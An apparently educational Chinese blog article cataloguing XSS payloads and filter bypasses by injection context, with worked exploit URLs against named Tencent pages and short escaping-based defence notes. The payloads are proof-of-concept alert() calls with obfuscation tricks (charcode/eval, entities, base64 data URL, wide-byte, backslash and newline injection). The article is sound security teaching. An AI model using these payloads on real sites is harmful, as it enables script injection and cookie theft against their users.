首发于Java安全

XSS常见Paylaod分析-1

XSS常见Payload总结

XSS漏洞的存在与发生伴随两个概念: 输入函数和输出函数。XSS攻击Payload可以注入位置相当灵活,以下是可以构造动态内容不同位置:

  1. HTML中直接显示"用户可控"数据导致XSS注入
  2. HTML标签属性注入"用户可控"数据, 如input body等标签
  3. <script></script>注入"用户可控"数据
  4. URL注入 "用户可控"数据
  5. ajax、Json技术下注入 "用户可控"数据
  6. flash环境下注入 "用户可控"数据

1. 在HTML中显示"用户可控"数据导致的XSS注入

1.1 大小写不敏感

   <sCript>alert(1);</scrIpt>

1.2 嵌套绕过<script>

 <sCr<scriPt>ipt>alert(1)</scr</scRipt>Ipt>

1.3 svg 注入(HTML5 支持内联 SVG)

<svg/onload=alert(document.domain)>

1.4 执行代码转换成unicode编码,再通过eval执行

<img src=N onerror
="eval(String.fromCharCode(97,108,101,114,116,40,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,41))">
防御方式: HTML中显示"用户可控"数据导致的XSS注入, 输出的数据都需要进行Html Escape把能够触发XSS攻击的特殊字符进行转义,ESAPI提供Html实体编码的Java API可以对该种类型的不可信的数据进行转义 ESAPI.encoder().encodeForHTML(input)

2. HTML标签属性注入"用户可控"数据, 如input body等标签

很多时候输出发生在HTML属性, 例如<input value="输出"> 、 <img onload="...[输出]..."> ,再比如 <body style="...[输出]...">

2.1 自行闭合双引号构造闭合标签:

" onclick="alert(1)
"><img src='a' onerror=alert(document.domain)>
"><svg/onload=alert(document.domain)>
<a href=abcd.jsp?ttt=1000 onmouseover=alert(123) y=2016>2</a>
<a href="" onclick=eval(&#97&#108&#101&#114&#116&#40&#39&#120&#115&#115&#39&#41)>aaa</a>
<a href="" onclick="&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;">aaa</a>


构造on事件:  " onmouseover=alert(document.domain)>
增加注释符//: " onmouseover=alert(document.domain)> //

利用html5 autofocus功能进行XSS:

aaaaa" name="javasCript:alert()" autofocus onfocus="location=this.name" aaa">
很多时候遇到的场景并不会这么简单, 程序员会将双引号 " 过滤为 " 例如
<input type="text" value="烧饼&quot; onclick=&quot;alert(1)" />

Form标签闭合引号:

<form method=Post action=abcd.jsp?ttt=1000 onmouseover=prompt(962613) y=&enddate=2016 > #action后面直接空格
  <input type='text' name='page' value=0>  
<input name='submit' type='submit' value='GO' class="input2">
</form>

<form method=Post action=javascript:alert('xss') > 
  <input type='text' name='page' value=0>
  <input name='submit' type='submit' value='GO' class="input2">
</form>

<form method=Post action=1 onmouseover=alert(123) bbb=111 > 
  <input type='text' name='page' value=0>
  <input name='submit' type='submit' value='GO' class="input2">
</form>

<form method=Post action="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4="> 
  <input type='text' name='page' value=0>
  <input name='submit' type='submit' value='GO' class="input2">
</form>


2.2 两个常见的输出例子

<HTML标签 onXXXX="...[输出在这里].."> 的例子。

<a href="javascript:[输出在这里]">xxxx </a> 的例子。

实际上, onxxxx="[输出]" 和 href="javascript:[输出]" 与 <script>[输出]</script> 没有太大区别。因为[输出]所在的地方,都是javascript脚本。

但是<script>[输出]</script> 如果被过滤,往往没有太好的办法。而上面这2种情况,则有一个很好的办法绕过过滤。

在HTML属性中,会自动对实体字符进行转义,例如<img src="1" onerror="alert(1)"> 和 <img src="1" onerror="alert&#x28;1&#x29;"> 是等效的
<input type="text" id="pagenum" onkeydown="if ((event.keyCode==13)) location.href='http://www.baidu.com?key=aaaaaa'">

由于单引号'被过滤,我们可以将'写为&#39;

location.href='........&key=aaaaaa'
location.href='........&key=aaaaaa'+alert(1)+''
location.href='........&key=aaaaaa&#39;+alert(1)+&#39;

接着我们把代码转换为 url 的编码。 &-> %26, # -> %23最后

key=%26%23x27;%2balert(1)%2b%26%2aaaaaaa3x27;

缺陷点是发生在 onkeydown 或 a 标签的 href 属性中,无法自动触发,因而使得威胁减小,如果是发生在 img 的 onload 属性,则非常可能导致自动触发

2.3 特殊字符&

许多浏览器允许在属性中使用&{js表达式},这部分语法我还没有找到任何资料????前端的同学如果了解这块的话,留个言帮我分析下不胜感激。

防御方式:将特殊字符进行转义

3. <script></script>中XSS注入

用户输入内容直接显示在<script></script>代码执行上下文中,我们可以 首先判断,是否过滤了* < , > , /* 等特殊符号,如果没有被过滤可以XSS可能性就很高

3.1 利用</script>闭合前面的<script>或者通过一些特殊的语法

3.2 宽字节注入绕过输出

在<script>..</script>之间的情况,很多程序员都是会进行过滤的如果页面是gbxxxx系列的编码,那么我们尝试一下宽字节呢?

<meta http-equiv="Content-Type" content="text/html; charset=gb18030" />t=%c0%22;alert(1);//aaaaaa

3.3 某些情况下,仅仅需要一个反斜线,就可以绕过过滤了

http://mail.qq.com/cgi-bin/login?vt=passport&ss=aaa&from=bbb&


经过测试,我们可以看到,双引号是用不了, 但是 反斜线还可以使用。

<script>getTop().location.href="/cgi-bin/loginpage?autologin=n&errtype=1&verify=&clientuin="+"&t="+"&alias="+"&regalias="+"&delegate_url=%2Fcgi-bin%2Fframe_html%3Furl%3D%252Fcgi-bin%252Fsetting10%253Faction%253Dlist%2526t%253Dsetting10%2526ss%253Dindex%2526Mtype%253D1%2526clickpos%253D20%2526loc%253Ddelegate%252Cwebmap%252C%252C1"+"&title="+"&url=%2Fcgi-bin%2Flogin%3Fvt%3Dpassport%26ss%3Daaa%2522%26from%3Dbbb%5C%26delegate_url%3D%252Fcgi-bin%252Fframe_html%253Furl%253D%2525252Fcgi-bin%2525252Fsetting10%2525253Faction%2525253Dlist%25252526t%2525253Dsetting10%25252526ss%2525253Dindex%25252526Mtype%2525253D1%25252526clickpos%2525253D20%25252526loc%2525253Ddelegate%2525252Cwebmap%2525252C%2525252C1"+"&org_fun="+"&aliastype="+"&ss=aaa"+"&from=bbb"+"&param="+"&sp=6fa57ce5b3047ebMTM1NTQwOTA2Mg"+"&r=3ec785174fff5206ed6f0cf4a8c5e3c5"+"&ppp="+"&secpp="</script>


location.href="........."+"&ss=aaaa"+"&from=bbb"+"&param=";//后面省略。

我们可以控制的是 aaaa ,又不能用",怎么办呢?

因为我们可以使用 \,那么我们可以杀掉 aaaa 后面的 双引号。

location.href="........."+"&ss=aaaa\"+"&from=bbb"+"&param=";

可以看到代码的结果因为一个反斜线发生了变化,如下图:

为了保证 bbb 后面的语法正确性,我们把bbb改为一个数字,把bbb后面加上 // 来注释掉后面的部分。变成以下形式。

location.href="........."+"&ss=aaaa\"+"&from=1//"+"&param=";

看起来不错哦,但是会出来一些问题,"字符串"&from=1,这样是错误的,因为&符号的优先级高, ("字符串"&from)=1 是无法进行这种赋值操作的。这样一来还是不行。别着急。我们可以稍微改动一下。变为以下形式。

location.href="........."+"&ss=aaaa\"+"&from==1//"+"&param=";


由于==的优先级比 & 高,所以语句相当于 ("字符串")&(from==1)

由于from未定义,直接和1进行相等判断的话,会报错,错误是:“from”未定义。。。怎么办呢?

别紧张,javascript里有一个特性

aaa();
function aaa(){
}

凡是以 function xxx(){} 形式定义的函数,都会被最优先解析。换句话说:

解析器在解析JS代码段时,会先将 function xxx(){} 拿到最前面解析,然后再依次解析其它的部分。 换句话说,上面的代码,实际的解析顺序是

function aaa(){
}
aaa();


利用这样一个特性,我们的代码可以改改。

location.href="........."+"&ss=aaaa\"+"&from==1;function from(){}//"+"&param=";

这样一来,我们的 function from(){} 就会被提前解析,从而定义了from, 后面 from==1的时候,就不会报错啦~~

故事往往是曲折的,到了这一步,我们会发现还是不行。

看一看源代码吧~~ ,哎,我们的空格被转义为了

这么一点小事情,难不到我们的,我们用注释符来做分隔符。 /**/替换空格,有没有觉得和 sql注入一样了

location.href="........."+"&ss=aaaa\"+"&from==1;function/**/from(){}//"+"&param=";


最终的利用代码如下:

http://mail.qq.com/cgi-bin/login?vt=passport&ss=\&from==0;alert(1);function/**/from(){};//&delegate_url=%2Fcgi-bin%2Fframe_html%3Furl%3D%25252Fcgi-bin%25252Fsetting10%25253Faction%25253Dlist%252526t%25253Dsetting10%252526ss%25253Dindex%252526Mtype%25253D1%252526clickpos%25253D20%252526loc%25253Ddelegate%25252Cwebmap%25252C%25252C1

恩,这次是我们的 反斜线为 双引号报仇啦!

修复方案:1. 随便修修就好。2. 某些情况下,\ 还是很危险的。

3.4 有时候一个换行符,就可以绕过过滤了(JS注释输出内容)实际业务场景例子

http://datalib.games.qq.com/cgi-bin/search?libid=178&FilterAttrAND=3602&FilterValueAND=aaaaaaaaaa

一共有5处,有在HTML标签之间的,也有在<script>..</script>之间的。但是呢,该过滤的,< , > 过滤掉了, 该过滤的 " ,也过滤掉了。。

也就是说传统的已经不行啦,我们继续看5处的其他地方。呀,竟然还有一大段注释里,也出现了我们的【输出】

//我是注释,我爱洗澡,哦~哦~哦~ [我是输出]


//我是注释,我爱洗澡,哦~哦~哦~ [我是输出  换行符


 alert(1);//我是输出]

这样alert(1); 就会被成功执行。恩,带着这样一个想法,不难构造出以下利用%0a表示换行符

http://datalib.games.qq.com/cgi-bin/search?libid=178&FilterAttrAND=3602&FilterValueAND=%0aalert(1);//

看下输出。嘿,果然没过滤。

这样,这一次我们的换行符立功了, 它不是一个符号在战斗!

尽量不要在JS的注释里输出内容, 还挺危险的。

防御方式:将一下特殊字符进行转义
防御方式: 对这些输出的特殊字符进行编码


参考资料: 心伤的瘦子腾讯XSS系列(共21篇)

发布于 2017-10-22 15:57